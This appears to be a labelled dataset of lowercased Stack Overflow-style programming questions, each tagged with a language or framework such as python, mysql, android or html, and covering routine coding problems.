adding structure name in c function prototype  before the return datatype  going through an open source c code  i came across a header file containing a code which looks like;   <pre><code>typedef struct my_struct {     //structure members     //... } my_struct_t;  my_struct int funca(); my_struct int funcb(); </code></pre>   my questions is: what is the purpose of adding <code>my_struct</code> in front of the function prototypes     thank you for your help.     edit: it turned out that <code>my_struct</code> in the function prototype is relates to a macro for a compiler related extension. i found the following macros.    <pre><code>#define dummy __attribute__ ((visibility ( default )))  #define my_struct dummy  </code></pre>   but  can i now consider it bad coding to use <code>my_struct</code> as the structure s name  or does this look intentional,c
how to display the text of particular item in the modal window by passing the id value in the modal window   i have a code of an html for different number of packages like given below :   <pre><code> &lt;article class= col-lg-4 col-md-4 col-sm-6 col-xs-12 baner-box &gt;                     &lt;div class= thumb-pad1 &gt;                                               &lt;div class= thumbnail &gt;                                                   &lt;figure&gt;                                                         &lt;img src= images/packages/&lt; php echo $arr[ package_image ];  &gt;  alt=  &gt;                                                         &lt;h3&gt;hi&lt;/h3&gt;                                                         &lt;h4&gt;welcome&lt;/h4&gt;                                                         &lt;p&gt;fggf&lt;/p&gt;                                                         &lt;div class= package-btn &gt;                                                                 &lt;a data-toggle= modal  href= #mymodal  class= btn btn-submit  &gt;book / enquiry / pay&lt;/a&gt;                                                          &lt;/div&gt;                                                   &lt;/figure&gt;                                               &lt;/div&gt;                     &lt;/div&gt;                 &lt;/article&gt; </code></pre>   when i am clicking the button book / enquiry / pay in the above code  a modal window gets opened. the modal code is shown below :   <pre><code>&lt;div class= modal fade  id= mymodal &gt; &lt;div class= modal-dialog &gt;     &lt;div class= modal-content &gt;     &lt;div class= modal-header &gt;             &lt;button type= button  class= close  data-dismiss= modal  aria-hidden= true &gt;×&lt;/button&gt;                 &lt;h4 class= modal-title &gt;enquiry / booking / payment&lt;/h4&gt;          &lt;/div&gt;       &lt;div id= contact_form_bg &gt;      &lt;div class= form_header &gt;         &lt;/div&gt;      &lt;div class= contact_form body &gt;      &lt;form action= #contactform  id= contactform  method= post  enctype= multipart/form-data &gt;     &lt;ul&gt;        &lt;li&gt;       &lt;p class= left &gt;          &lt;input type= date  name= date  placeholder= date  required&gt;       &lt;/p&gt;       &lt;p class= left &gt;          &lt;input type= time  name= time  placeholder= time  required&gt;             &lt;/p&gt;       &lt;p class= left &gt;          &lt;input type= text  name= name  placeholder= full name  required&gt;             &lt;/p&gt;       &lt;p class= left &gt;         &lt;input type= text  name= name  placeholder= contact number  required&gt;         &lt;/p&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;p class= left &gt;        &lt;input type= email  name= mail  placeholder= your email  required&gt;          &lt;/p&gt;        &lt;p class= left &gt;          &lt;input type= text  name= no-of-people  placeholder= selected package &gt;               &lt;/p&gt;       &lt;p class= left &gt;     &lt;select&gt;    &lt;option value=   disabled= disabled  selected= selected &gt;select your package type&lt;/option&gt;    &lt;option value= 1 &gt; 14 days - rs.20000 &lt;/option&gt;    &lt;option value= 2 &gt;21 days - rs.25000&lt;/option&gt;     &lt;/select&gt;                   &lt;/p&gt;        &lt;p class= left &gt;     &lt;select&gt;      &lt;option value=   disabled= disabled  selected= selected &gt;gender&lt;/option&gt;     &lt;option value= 1 &gt;female&lt;/option&gt;     &lt;option value= 2 &gt;male&lt;/option&gt;  &lt;/select&gt;                  &lt;/p&gt;       &lt;/li&gt;              &lt;li&gt;      &lt;p class= txtarea-style &gt;       &lt;textarea cols= 46  rows= 3  name= comments  placeholder= message with us .... &gt;&lt;/textarea&gt;       &lt;/p&gt;       &lt;p&gt;       &lt;input class= btn btn-submit  type= submit  value= enquiry &gt;       &lt;/p&gt;       &lt;p&gt;       &lt;input class= btn btn-submit  type= submit  value= booking &gt;       &lt;/p&gt;      &lt;!-- &lt;p&gt;        &lt;a data-toggle= modal  href= #mymodal2  class= btn btn-submit  &gt;booking with payment &lt;/a&gt;       &lt;/p&gt;--&gt;      &lt;/li&gt;        &lt;/ul&gt;    &lt;/form&gt;    &lt;/div&gt;  &lt;/div&gt;     &lt;/div&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>   i want to display the value of corresponding package in the  tag in the selected package field in the modal window  by passing the id value of that particular package which is in the database and display all the values in the   and   tags. for each package there will be this article code and i want to display all the values in the  for each package in the corresponding modal window in the selected package input field by passing the id value of that particular package in the database.,php
jquery checkbox check uncheck child checkbox  i have a parent child category checkbox  to which child has sub-child. child category only needs to gets displayed when parent category is clicked and when parent category is unchecked all child category needs to get hidden.    every thing works fine but when  suppose the child and subchild are checked. now when super-parent is unchecked then it hides the checkbox keeping subchild selected that should get unchecked.    here is my code.   <pre><code>$(function () { $( :checkbox ).change(function () { $( input[type= checkbox ]:checked ).each(function () {     var inner_id = $(this).attr( id );     if (inner_id.search( parent ) &gt; -1) {     //   $( input. +inner_id).attr( hidden   false )     $( . +inner_id).removeattr( hidden );     } }); }); });  $(function () {     $( :checkbox ).click(function () {     var is_chk = $(this).attr( checked );     var its_id = $(this).attr( id );     if (is_chk !=  checked ) {         $( . +its_id).attr( hidden    true );     } }); }); </code></pre>   the html code for this is.   <pre><code> &lt;input type= checkbox  id= parent1  /&gt;parent&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&lt;input type= checkbox  class= parent1  disabled= true  /&gt;child1&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&lt;input type= checkbox  class= parent1  disabled= true /&gt;child2&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&lt;input type= checkbox  class= parent1  disabled= true /&gt;child3&lt;br/&gt;  &lt;input type= checkbox  id= parent2  /&gt;parent&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&lt;input type= checkbox   class= parent2  disabled= true /&gt;child1&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&lt;input type= checkbox  class= parent2    id= parent3  disabled= true /&gt;child2-parent&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input type= checkbox   class= parent3  disabled= true /&gt;child1&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input type= checkbox   class= parent3   disabled= true /&gt;child2&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input type= checkbox   class= parent3   disabled= true /&gt;child3&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input type= checkbox   class= parent3   disabled= true /&gt;child4&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input type= checkbox    class= parent3  id= parent4   disabled= true /&gt;child5-parent&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input type= checkbox    class= parent4   disabled= true /&gt;child1&lt;br/&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input type= checkbox    class= parent4   disabled= true /&gt;child2&lt;br/&gt; </code></pre>   or you can try it out here.    <a href= http://jsfiddle.net/dndnt/4/  rel= nofollow >http://jsfiddle.net/dndnt/4/</a>    just check-all check-box and click parent you will understand my problem. thanks.    the actual code that i have tried in my project is.   <pre><code>$(function() { $( :checkbox ).change(function() {  $( input[type= checkbox ]:checked ).each(function() {    //var inner_id = $(this).attr( id );     var inner_id = $(this).attr( value );   var parid1= input. +inner_id;   var parid2= . +inner_id;  $(parid1).removeattr( disabled );   $(parid2).removeattr( hidden );  }); }); });   $(function() { $( :checkbox ).click(function() { var is_chk = $(this).attr( checked );    var its_id = $(this).attr( value );     //var parid2= # +its_id;     var parid1= input. +its_id;     var parid2= . +its_id;       if(is_chk!= checked ) {         $(parid1).removeattr( checked );         $(parid1).attr( disabled   true );         $(parid2).attr( hidden   true );      } }); }); </code></pre>,jquery
getting memory allocation problem at uibarbuttonitem in iphone sdk  here i am getting memory allocation problem at uibarbuttonitem and the related code for that is:   <pre><code>  toolbar = [uitoolbar new];   toolbar.barstyle = uibarstyleblackopaque;   [toolbar setframe:cgrectmake(0  350 320 20)];   [self.view addsubview:toolbar];    uibarbuttonitem* baritem1 = [[uibarbuttonitem alloc] initwithbarbuttonsystemitem:uibarbuttonsystemitemflexiblespace target:self action:@selector(categoryconfig:)]  ;    rightbaritem = [[uibarbuttonitem alloc] initwithbarbuttonsystemitem:uibarbuttonsystemitembookmarks target:self action:@selector(dialogotheraction:)]  ;    uibarbuttonitem* baritem2 = [[uibarbuttonitem alloc] initwithbarbuttonsystemitem:uibarbuttonsystemitemflexiblespace target:self action:@selector(categoryconfig:)]  ;    nsarray *items = [nsarray arraywithobjects: baritem1 rightbaritem baritem2  nil];    [baritem1 release];   [baritem2 release];   [rightbaritem release];   [toolbar setitems:items animated:no]; </code></pre>   after adding uibarbuttonitems into the array items i released them.even though its showing allocations at barbuttons.    can any help me for this     thank you  monish.,objective-c
pairing duplicate objects in a very large list  i m having issues with my program being too slow. here is what i need my code to do. (actual code is below):    imagine you have a very large (1million+) list of  person  objects. each person has attributes like  haircolor    height    weight ....etc. each had a ismatched boolean attribute also.    what the code does is for every person object in the list: try to find an exact match to another person by the attributes. when the code finds two person objects that match simply put them into a  pair  object. if there is no match then we simply pair the person object with none. here is the code   <pre><code>deck=collections.deque() person=[per1 per2 .....per1000000] while person:     persontobematched=person.pop()     if not persontobematched.ismatched:         match=next(per for per in person if  per.haircolor==persontobematched.haircolor and per.height==persontobematched.height  none)         if match is not none:             per.ismatched=true     deck.append(pair(match persontobematched)) </code></pre>   i ultimately want to do this quickly for a list of size 1million+ but even 100 000 is taking far too long. does anyone know how i can speed this up,python
images wrapped with links don t work  so i was trying to make an image be clickable. this is a super easy thing to do  but for some reason  it doesn t seem to be working. it doesn t even acknowledge that there is a link.    <pre><code>&lt;ul&gt;     &lt;li&gt;&lt;a href= register &gt;&lt;img src= images/register.png &gt;&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= login &gt;&lt;img src= images/login.png /&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   is there something i m doing wrong  thanks  guys. :)    the only css i think refers to it is:   <pre><code>a:link {text-decoration: none} a:visited {text-decoration: none} a:active {text-decoration: none} a:hover {text-decoration: underline;color:#f60051}  #sidebar li {    list-style: none; } </code></pre>,html
html drop-down list options from array  it s there any possibility to make an html drop-down list with options from array  or any another collection.,html
sharedpreference value didn t get refresh  there is sharedpreference file which is store in the server which is copy and store to the /data/data/package_name/shared_prefs/file.xml file every time the application start  when any changed is made in the sharedpreference and next time the application is started the default sharedpreference file is copy to the /data/data/package_name/shared_prefs/file.xml  but the preference is assign with the last value changed not the default value file placed in /shared_prefs/  preferenceactivity is used to achieve the sharedpreference feature. but if i restart my phone it works fine  there must be some garbage value store  how can we clear this value.,android
email check with angular  i am using angularjs to validate an email input in a jsp page.   <pre><code>&lt;p&gt;email:&lt;/p&gt; &lt;input type= email  name= email1  ng-model= email1  required/&gt; &lt;div class= custom-error  ng-show= loginform.email1.$dirty &amp;&amp; loginform.email1.$invalid &gt;invalid: &lt;span ng-show= loginform.email1.$error.required &gt;email is required.&lt;/span&gt; &lt;span ng-show= loginform.email1.$error.email &gt;please  write a valid email address.&lt;/span&gt; &lt;/div&gt; </code></pre>   this code function  but when i put mails without .it  .com like ciccio.mario@gmail does not catch the error. how can i fix this bug,angularjs
delete path not working rails 4  the delete method is not working when trying to destroy a record. when clicking on the button  it will redirect me to shops#show action  looks like the method: :delete is not working...any help please     <strong>routes</strong>   <pre><code> resources :shops </code></pre>   <strong>html</strong>   <pre><code>&lt;% @shops.sort.each do |shop| %&gt;     &lt;tr&gt;       &lt;td&gt;&lt;%= shop.name %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= shop.email %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= shop.direction %&gt;&lt;/td&gt;       &lt;td&gt;         &lt;%= link_to  &lt;button&gt;borrar&lt;/button&gt;   shop  method: :delete  data: { confirm:  seguro   } %&gt;       &lt;/td&gt;     &lt;/tr&gt;   &lt;% end %&gt; </code></pre>   <strong>controller</strong>   <pre><code>def destroy     @shop = shop.find(params[:id])     @shop.destroy     respond_to do |format|       format.html { redirect_to  /sushiadmin   notice:  se ha editado la tienda.  }       format.json { head :no_content }     end   end </code></pre>,ruby-on-rails
how to send kill signal to java process running on server   i have some java code running on server in infinite loop. currently i am using <code> kill -9 process_id </code> to stop process. but kill command forcefully stop java process without cleaning resource.     i want to implement signal handler in java just like c++ so that i can clean all resource and gracefully stop java process.     can anyone please suggest me the right way to do this,java
question about routes.rb  rails newbie here.    can anyone please explain the difference to me between the following lines of code:   <pre><code>match  /  =&gt;  posts#index      </code></pre>   and   <pre><code>match  /  =&gt;  posts#index   :as =&gt;  posts       </code></pre>   the reason i m asking is because when i use the latter code  i cannot create new posts :|,ruby-on-rails
how to use pdf format in android  can we create and write on pdf files in android.<br> i have tried itext library of java but it gives class not found exception please help.<br> <strong>update</strong>     <pre><code>document document = new document(); pdfwriter.getinstance(document  new fileoutputstream(file)); document.open(); addmetadata(document); addtitlepage(document); addcontent(document); document.close(); </code></pre>,android
how to select full row in repeater in asp.net  hi experts how to select full row in repeater control in asp.net i have right the following code   <pre><code>function setselectedmoduleidrow(rowid  objrepeater) {             var rows = document.getelementbyid(objrepeater).getelementsbytagname( tr );             for (var j = 0; j &lt; rows.length; j++) {                 cells = rows[j].getelementsbytagname( td );                 for (var i = 0; i &lt; cells.length; i++) {                     cells[i].style.backgroundcolor =  #ffffff ;                 }             }             var row = parseint(rowid) + 1;             arrcol = rows[row].getelementsbytagname( td );             for (var j = 0; j &lt; arrcol.length; j++) {                 arrcol[j].style.background =  #808080  ;             }         } </code></pre>   on itemdatabound call this function.,asp.net
how to define and call a method with multiple parameters <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1066763/how-to-write-a-method-message-with-multiple-parameters >how to write a method/message with multiple parameters </a>    </blockquote>     i am really confused here... i have looked at so and google where i found an example of calling a method with two parameters.  so i modified it for my use  and unfortunately i can t get it to work.  here is my updated code:   <pre><code>-  definition of method - (nsarray *) fetcheventsbetweendates: (nsdate *) sdate: anddate: (nsdate *) edate;  - definitions and creation of sd and ed     //  convert start dates to nsdate     nsdateformatter* df = [[nsdateformatter alloc] init];     [df setdateformat:@ mm/dd/yyyy ];     nsdate* sd = [df datefromstring:@ 10/03/2012 ];     nslog(@ startdate: %@   sd);      //  convert end dates to nsdate     nsdate* ed = [df datefromstring:@ 10/05/2012 ];     nslog(@ enddate: %@   ed);  - call to method     [self.eventslist addobjectsfromarray:[self fetcheventsbetweendates: sd anddate: ed]];  - method - (nsarray *) fetcheventsbetweendates: (nsdate *) sdate: anddate: (nsdate *) edate  { </code></pre>   i have tried every permutation i think was reasonable  and it still will not build.  i am getting a  expected  :  on the call to the method.    what am i doing wrong,objective-c
error in the link navigation  i am experiencing a navigation error on my site. when you click the nav item for the second time it does not work. e.g. if you click  team  it will take you to that section  but once you click a nav item for the second time it is a dead link.    here is the site - <a href= http://evolvedengineering.com.au  rel= nofollow >http://evolvedengineering.com.au</a>    any help would be much appreciated! thanks.,html
mysql error while trying to create a table with field  i am getting this error while trying to create a table in a database..   <pre><code>#1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  not null  `call_code_id` int(11) unsigned not null  `result_code` enum not null   at line 1  </code></pre>   what am i doing wront for this to give me an error  this is my mysql code.   <pre><code>create table  `phone_calls` (  `phone_call_id` int( 11 ) unsigned not null auto_increment primary key   `account_id` int( 11 ) unsigned not null   `team_id` int( 11 ) unsigned not null   `campaign_id` int( 11 ) unsigned not null   `call_code` enum not null   `call_code_id` int( 11 ) unsigned not null   `result_code` enum not null   `result_code_id` int( 11 ) unsigned not null   `time_zone_id` int( 11 ) unsigned not null   `trigger_on` datetime not null   `created_on` datetime not null   `first_attempt_on` datetime not null   `first_attempt_by` int( 11 ) unsigned not null   `first_attempt_by_name` char( 30 ) not null   `call_subject` char( 50 ) not null   `status` tinyint( 2 ) not null comment   0= purge  1=active  2 = in progress  3 = completed   `last_attempt_on` datetime not null   `last_attempt_by` int( 11 ) unsigned not null   `last_attempt_by_name` char( 30 ) not null   `total_attempts` tinyint( 3 ) not null default   0   `modified_by` int( 11 ) unsigned not null   `modified_by_name` char( 30 ) not null   `client_id` int( 11 ) unsigned not null   `last_call_id` int( 11 ) unsigned not null   `call_direction` enum not null comment   inbound or outbound   `call_notes` text not null   index (  `account_id`    `team_id`    `campaign_id`    `call_code`    `call_code_id`    `result_code`    `result_code_id`    `time_zone_id`    `first_attempt_by`    `last_attempt_by`    `modified_by`    `client_id`    `last_call_id` ) ) engine = myisam </code></pre>   thanks a lot for your time :),mysql
marking a radio input as slected when page is loaded  i have two radio buttons. i want one of them to be shown as selected when the page loads. which property i should use  and how     example:   <pre><code>&lt;input type= radio  name= musictype2  value= rock  default&gt; rock&lt;br&gt; &lt;input type= radio  name= musictype2  value= alternative &gt; alternative&lt;br&gt; </code></pre>,html
get dogtail to run on ubuntu 12.04  i am trying to get dogtail 0.8.2 to run on my ubuntu 12.04 to be able to automate some tests. i downloaded dogtail 0.8.2 here: <a href= https://fedorahosted.org/released/dogtail/  rel= nofollow >https://fedorahosted.org/released/dogtail/</a> and used the following command to install.   <pre><code>sudo python ./setup.py install --prefix=/usr/local </code></pre>   then i wanted to run this example found here: <a href= https://git.fedorahosted.org/cgit/dogtail.git/tree/examples/gedit-test-utf8-tree-api.py  rel= nofollow >https://git.fedorahosted.org/cgit/dogtail.git/tree/examples/gedit-test-utf8-tree-api.py</a> but i end up in the following error.   <pre><code>traceback (most recent call last):   file  ./gedit.py   line 6  in &lt;module&gt;     from dogtail import tree   file  /usr/local/lib/python2.7/dist-packages/dogtail/tree.py   line 63  in &lt;module&gt;     from config import config   file  /usr/local/lib/python2.7/dist-packages/dogtail/config.py   line 15  in &lt;module&gt;     class _config(object):   file  /usr/local/lib/python2.7/dist-packages/dogtail/config.py   line 117  in _config      scratchdir  :  / .join((_usertmpdir( dogtail )    ))    file  /usr/local/lib/python2.7/dist-packages/dogtail/config.py   line 13  in _usertmpdir     return  - .join(( / .join(( /tmp   basename))  os.getlogin())) oserror: [errno 2] no such file or directory </code></pre>   i am quite new to python so it might be a quite simple problem  but i don t really know how to continue from here. i will be happy for any help here.,python
run multiple sql scripts through batch file from c#  i am writing code that executes sql scripts from different folders through a batch file. there are many folders on the <code>u</code> drive  and in each folder  there are 23 sql scripts. i have to execute all of these scripts from all folders.    folders can be more or less  but there are always 23 scripts in each folder. i am getting an error    <blockquote>    the syntax of the command is incorrect  </blockquote>   the code below has two parts first to create batch files  second to execute the sql scripts thorough those created batch files. please help me - where am i wrong in executing scripts i.e 2nd part of code     creating the batch files:   <pre><code>string file = @ u:\tdscripts ; string y = file.readalltext(@ u:\scriptexe.txt );  foreach (string name in directory.getdirectories(file)) {     var letter = string.join( _   name.split( _ ).take(2));     var x = letter.toupper();      console.writeline(path.getfilenamewithoutextension(name));      string s = name;      streamwriter sw = new streamwriter(file.create(name +  .bat ));     sw.writeline(y.replace( filename   x)                   .replace( file   letter)                   .replace( /path   file)                   .replace( {folder}   s)                   .replace(@ u:\tdscripts\     )                   .replace(@ u:\tdscripts\    _ )                    .replace( /   @ \ )                   .replace( {     )                   .replace( }     )                    .replace(@ \path   file));     sw.close(); </code></pre>   executing the sql scripts:   <pre><code>int exitcode;  processstartinfo processinfo; process process;  processinfo = new processstartinfo( cmd.exe    /c  + s); processinfo.useshellexecute = false; processinfo.workingdirectory = s;  process = process.start(processinfo); process.waitforexit();  exitcode = process.exitcode;  console.writeline( exitcode:   + exitcode.tostring()   executecommand  +  \r\n\r\n\r\n ); process.close();  if (!exitcode.equals(0)) {     break; } </code></pre>,c#
how do i add an identity property to a column   how do i make a migration that changes an existing column so that it is an identity  meaning  i want that integer column to automatically increment.    is it something like:   <pre><code>add_identity :tablename  [:columnname] </code></pre>   it is not a primary key column.,ruby-on-rails
c++ error no such file or directory  hey guys  i  just started learning c++ and i have this code that i have to complete but the class header is giving me this error    error: string: no such file or directory   <pre><code>#include &lt;vector&gt; #include &lt;string&gt;  class inventory { public:     inventory ();     void update (string item  int amount);     void listbyname ();     void listbyquantity (); private:     vector&lt;string&gt; items; }; </code></pre>,c++
why is this javascript inserting two spinner images  <pre><code>// javascript for ajax pagination//  document.observe( dom:loaded   function() {   // the element in which we will observe all clicks and capture   // ones originating from pagination links   var container = $(document.body)    if (container) {     var img = new image     img.src =  /images/spinner.gif       function createspinner() {       return new element( img   { src: img.src   class :  spinner  })     }      container.observe( click   function(e) {       var el = e.element()       if (el.match( .pagination a )) {         el.up( .pagination ).insert(createspinner())         new ajax.request(el.href  { method:  get  })         e.stop()       }     })  } }) </code></pre>   why is this script inserting two spinner images     here is the html   <pre><code> &lt;div style= margin-top:25px; &gt;       &lt;div class= pagination ajax &gt;            &lt;span class= disabled prev_page &gt;&amp;laquo; previous&lt;/span&gt;             &lt;span class= current &gt;1&lt;/span&gt;             &lt;a href= /posts page=2  rel= next &gt;2&lt;/a&gt;             &lt;a href= /posts page=3 &gt;3&lt;/a&gt;             &lt;a href= /posts page=2  class= next_page  rel= next &gt;next &amp;raquo;&lt;/a&gt;       &lt;/div&gt;       &lt;br style= clear:both; /&gt;  &lt;/div&gt; </code></pre>,javascript
how to enable the user to add background images to anchor links thought wordpress admin panel   i have css selectors like this on in my style.css:   <pre><code>.jimgmenu ul li.landscapes a {     background: url(../images/landscapes.jpg) repeat scroll 0%; } </code></pre>   what s the easiest way to enable the user to add background images to anchor links like the ones below     front-page.php:   <pre><code>&lt;div class= jimgmenu &gt;         &lt;ul&gt;             &lt;li class= landscapes &gt;&lt;a href= #nogo &gt;landscapes&lt;/a&gt;&lt;/li&gt;             &lt;li class= people &gt;&lt;a href= #nogo &gt;people&lt;/a&gt;&lt;/li&gt;             &lt;li class= nature &gt;&lt;a href= #nogo &gt;nature&lt;/a&gt;&lt;/li&gt;             &lt;li class= abstract &gt;&lt;a href= #nogo &gt;abstract&lt;/a&gt;&lt;/li&gt;             &lt;li class= urban &gt;&lt;a href= #nogo &gt;urban&lt;/a&gt;&lt;/li&gt;             &lt;li class= people2 &gt;&lt;a href= #nogo &gt;people&lt;/a&gt;&lt;/li&gt;           &lt;/ul&gt;     &lt;/div&gt; </code></pre>   to illustrate:   <pre><code>.jimgmenu ul li.landscapes a {     background: url(&lt;add background image&gt;) repeat scroll 0%; } </code></pre>   what that code would look like,css
adding/embedding youtube videos in asp.net page  i want to add youtube videos thumbnails to my asp.net website like the videos section in <a href= http://jtsplatmaster.com/  rel= nofollow >http://jtsplatmaster.com/</a>. on this website  if you click the right thumbnails  video will start playing in the main section without page refresh. which control so i need to use. i know that object tag can be used to embed youtube videos in asp.net page.    please suggest.,asp.net
authorization using web.config vs manual authorization  once the user is authenticated  i fetch the <code>user information</code> from the database and saves it in <code>session</code>.     now  in order to validate the user to authorize for a particular page  enumeration is present for roles/pages. finally i compares it with the session data for indivisual page. as  directories can be nested  so  i personally feel that it is a flexible approach.    so  is it a good practice or i can use <code>formauthentication ticket class</code> as the approach use <code>web.config</code>.,asp.net
mysql primary key auto increment reset issue  i have a primary key with auto increment column in a table. last week the number was 48. today for some reason it s generating from the beginning started at 1. what could be the issue  is this an issue with the new year change  please let me know. thanks for any ideas.,mysql
android key hash  hi friends i wanna to generate key hash to incorporate facebook application in my apps.. i am having open ssl zip. pl guide me how to generate key..,android
listview with checkbox  i am working on an app as a beginner in android programming. i have to do a listview of an image  2 textviews and a checkbox for each row. i have to implement in the action bar a continue button so when this button is clicked  all the checked checkboxes in the list appears in an alert dialog in another listview. the problem i am facing is that i don t know how to know which checkbox was checked so i can implement the alertdialog. can anyone help me please       this is my main activity code:   <pre><code>package com.example.view;  import java.util.arraylist;  import android.os.bundle; import android.support.v7.app.actionbaractivity; import android.view.menu; import android.view.menuinflater; import android.view.menuitem; import android.widget.listview;  public class mainactivity extends actionbaractivity {  public static final string tag = mainactivity.class.getsimplename(); listview listview; arraylist&lt;listviewitem&gt; items; customlistviewadapter adapter; @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      listview = (listview) findviewbyid(r.id.listview);     items = new arraylist&lt;mainactivity.listviewitem&gt;();     items.add(new listviewitem(r.drawable.ic_launcher   item1    item1 description ));     items.add(new listviewitem(r.drawable.ic_launcher   item2    item2 description ));     items.add(new listviewitem(r.drawable.ic_launcher   item3    item3 description ));     items.add(new listviewitem(r.drawable.ic_launcher   item4    item4 description ));     adapter = new customlistviewadapter(this  items);     listview.setadapter(adapter); }  class listviewitem {     private int thumbnailresource;     private string title;     private string subtitle;      public listviewitem()     {      }      public listviewitem(int thumbnailresource  string title  string subtitle)     {         this.thumbnailresource = thumbnailresource;         this.title = title;         this.subtitle = subtitle;     }      public int getthumbnailresource()     {         return thumbnailresource;     }      public void setthumbnailresource(int thumbnailresource)     {         this.thumbnailresource = thumbnailresource;     }      public string gettitle()     {         return title;     }      public void settitle(string title)     {         this.title = title;     }      public string getsubtitle()     {         return subtitle;     }      public void setsubtitle(string subtitle)     {         this.subtitle = subtitle;     }  }  @override public boolean oncreateoptionsmenu(menu menu) {     menuinflater inflater = getmenuinflater();     inflater.inflate(r.menu.main_activity_actions_view  menu);     return true; }  @override public boolean onoptionsitemselected(menuitem item) {     switch (item.getitemid())     {     case r.id.action_continue:         docontinue();         break;      default:         break;     }     return super.onoptionsitemselected(item); }  private void docontinue() { // open the alertdialog box depending on the items selected   } } </code></pre>   and this is my adapter code:   <pre><code>package com.example.view;  import java.util.arraylist;  import android.app.activity; import android.content.context; import android.view.layoutinflater; import android.view.view; import android.view.viewgroup; import android.widget.arrayadapter; import android.widget.checkbox; import android.widget.imageview; import android.widget.textview;  import com.example.view.mainactivity.listviewitem;  public class customlistviewadapter extends arrayadapter&lt;listviewitem&gt; { layoutinflater inflater; arraylist&lt;listviewitem&gt; items; public checkbox checkbox; public static final string tag = mainactivity.class.getsimplename();  public customlistviewadapter(activity context  arraylist&lt;listviewitem&gt; items) {       super(context  r.layout.list_item_row  items);      this.items = items;     this.inflater = (layoutinflater)context.getsystemservice(context.layout_inflater_service); }  public view getview(final int position  view convertview  viewgroup parent) {     //system.out.println(position);     listviewitem item = items.get(position);     view rowview = inflater.inflate(r.layout.list_item_row  parent  false);     imageview imgview = (imageview) rowview.findviewbyid(r.id.imgthumbnail);     textview txttitle = (textview) rowview.findviewbyid(r.id.txttitle);     textview txtsubtitle = (textview) rowview.findviewbyid(r.id.txtsubtitle);     checkbox checkbox = (checkbox) rowview.findviewbyid(r.id.checkbox);      imgview.setimageresource(item.getthumbnailresource());     txttitle.settext(item.gettitle());     txtsubtitle.settext(item.getsubtitle());      return rowview;   } } </code></pre>   so where and how can i write my code to know which items were selected via the checkbox,android
objective-c access to counter from another class  i´m new with objective-c and i have a question. i don´t understand where is my mistake.    the most time the counter tells me that the value is 0.    i have a game class  where is a counter. after a while when the game stops the screen switch to the end class. and in the end class i want to print out the score. but it does not work.   <pre><code>game.h     @interface game : cclayer {   int counter; }     @property (readwrite  nonatomic) int counter;     +(int)returncounter;     @end   game.m     @implementation game     @synthesize counter;     -(void)methodformycounter{   counter++; }     +(int)returncounter{ return counter; }  end.h     end.m     @implementation     -(void)getcounter{   //here i want to print out the counter     } </code></pre>,objective-c
difference between <a> and <link>  i am a html beginner and i was wondering if there is a difference between these two tags  aren t both of them for url     is there a significant difference between those two tags. also what is bootstrap and is it recommend to use it,html
mysql update changes affect rest of the data  i have a mysql update here and when the user make changes to one selection category it would duplicate that selection to the rest of the other selection too. below is a sample scenario where only the 1st cd category was change and it s reflecting the same for the rest. how do i get  nmc_category.catdesc = $pcdcategory  to only update that entry only      sample: <a href= https://i.stack.imgur.com/0l5e5.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/0l5e5.jpg  alt= enter image description here ></a>   <pre><code>$sql =  update nmc_cd        .  join nmc_category on (nmc_cd.catid = nmc_category.catid)        .  join nmc_publisher on (nmc_cd.pubid = nmc_publisher.pubid)        .  set nmc_cd.cdtitle= $pcdtitle  nmc_cd.cdyear= $pcdyear  nmc_cd.cdprice= $pcdprice  nmc_category.catdesc = $pcdcategory   nmc_publisher.pubname =  $pcdpubname    nmc_cd.pubid = $pcdpubid   nmc_publisher.pubid= $pcdpubid         .  where nmc_cd.cdid= $pcdid  ; </code></pre>   nmc_cd table:    <a href= https://i.stack.imgur.com/7yhwa.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/7yhwa.jpg  alt= enter image description here ></a>    nmc_category table:    <a href= https://i.stack.imgur.com/inoya.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/inoya.jpg  alt= enter image description here ></a>,mysql
dictionary in python <pre><code>s = problem.getsuccessors(currnode)       print s       child = dict((t[0]  t[1:]) for t in s)       print child  output of s = [((5  4)   south   1)  ((4  5)   west   1)]  output of child  = {(4  5): ( west   1)  (5  4): ( south   1)} </code></pre>   why the order has been changed   5 4 should be at first position and ( 4  5) at 2nd position of child dict.    and how do i can put 1 more value for the key     here my key is (5 4) and its values is south and 1. now i want to have its parent node also  as its value so that when i use the key[1]- it shud give me south  1 and parent node    since  s  contains only 2 things south and 1. so it is making only 2 values of the key. i need 1 more . what are the commands,python
